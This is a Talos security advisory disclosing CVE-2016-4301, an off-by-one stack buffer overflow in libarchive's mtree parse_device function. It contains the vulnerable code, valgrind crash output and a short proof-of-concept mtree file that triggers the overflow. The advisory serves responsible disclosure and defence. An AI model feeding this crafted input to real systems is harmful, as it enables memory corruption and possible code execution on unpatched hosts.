Talos Vulnerability Report

TALOS-2016-0153

Libarchive mtree parse_device Code Execution Vulnerability

June 19, 2016
CVE Number

CVE-2016-4301

SUMMARY

An exploitable stack based buffer overflow vulnerability exists in the mtree parse_device functionality of libarchive. A specially crafted mtree file can cause a buffer overflow resulting in memory corruption/code execution. An attacker can send a malformed file to trigger this vulnerability.

TESTED VERSIONS

libarchive 3.1.2

PRODUCT URLs

https://github.com/libarchive/libarchive

CVSSv3 SCORE

7.8 - CVSS:3.0/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H CVSSv3 Calculator: https://www.first.org/cvss/calculator/3.0

Details

Vulnerable code exists in mtree support format module:

libarchive\archive_read_support_format_mtree.c:
Line 1353   static int
Line 1354   parse_device(dev_t *pdev, struct archive *a, char *val)
Line 1355   {
Line 1356   #define MAX_PACK_ARGS 3
Line 1357       unsigned long numbers[MAX_PACK_ARGS];
Line 1358       char *p, *dev;
Line 1359       int argc;
Line 1360       pack_t *pack;
Line 1361       dev_t result;
Line 1362       const char *error = NULL;
(...)
Line 1377       while ((p = la_strsep(&dev, ",")) != NULL) {
Line 1378           if (*p == '\0') {
Line 1379               archive_set_error(a, ARCHIVE_ERRNO_FILE_FORMAT,
Line 1380                   "Missing number");
Line 1381               return ARCHIVE_WARN;
Line 1382           }
Line 1383           numbers[argc++] = (unsigned long)mtree_atol(&p);
Line 1384           if (argc > MAX_PACK_ARGS) {
Line 1385               archive_set_error(a, ARCHIVE_ERRNO_FILE_FORMAT,
Line 1386                   "Too many arguments");
Line 1387               return ARCHIVE_WARN;
Line 1388           }
Line 1389       }

In line 1357 we see definition of static buffer prepared to contain 3 elements. Next in while loop in lines 1377-1389 exist condition (line 1384) which should protect against overflowing "numbers" buffer but this condition is wrong and allows to overflow buffer with one element. Depending on platform and architecture, size of overwrite can be 4 or 8 bytes with content fully controlled.

CRASH INFORMATION

icewall@ubuntu:~/bugs/libarchive-gdb$ uname -a
Linux ubuntu 3.19.0-33-generic #38~14.04.1-Ubuntu SMP Fri Nov 6 18:17:28 UTC 2015      
x86_64 x86_64 x86_64 GNU/Linux

icewall@ubuntu:~/bugs/libarchive-gdb$ valgrind --tool=exp-sgcheck bin/ext_mtree    
libarchive_mtree_parse_device_buffer_overflow.mtree
==42519== exp-sgcheck, a stack and global array overrun detector
==42519== NOTE: This is an Experimental-Class Valgrind Tool
==42519== Copyright (C) 2003-2013, and GNU GPL'd, by OpenWorks Ltd et al.
==42519== Using Valgrind-3.10.0.SVN and LibVEX; rerun with -h for copyright info
==42519== 
==42519== Invalid write of size 8
==42519==    at 0x432A8B: parse_device (archive_read_support_format_mtree.c:1383)
==42519==    by 0x432D92: parse_keyword (archive_read_support_format_mtree.c:1469)
==42519==    by 0x4328A4: parse_line (archive_read_support_format_mtree.c:1318)
==42519==    by 0x432026: parse_file (archive_read_support_format_mtree.c:1097)
==42519==    by 0x431F4B: read_header (archive_read_support_format_mtree.c:1064)
==42519==    by 0x407934: _archive_read_next_header2 (archive_read.c:645)
==42519==    by 0x407A07: _archive_read_next_header (archive_read.c:683)
==42519==    by 0x44FEFF: archive_read_next_header (archive_virtual.c:148)
==42519==    by 0x402F52: extract (ext.c:55)
==42519==    by 0x403048: main (ext.c:83)
==42519==  Address 0xffefffb28 expected vs actual:
==42519==  Expected: stack array "numbers" of size 24 in this frame
==42519==  Actual:   unknown
==42519==  Actual:   is 0 after Expected
==42519== 
Too many arguments
==42519== 
==42519== ERROR SUMMARY: 1 errors from 1 contexts (suppressed: 4 from 4)

EXPLOIT PROOF-OF-CONCEPT

#mtree
fil type=file device=386bsd,1,2,3,4702111234474983745 

TIMELINE

2016-04-19 - Vendor Disclosure
2016-06-18 - Public Release

Credit

Discovered by Marcin ‘Icewall’ Noga of Cisco TALOS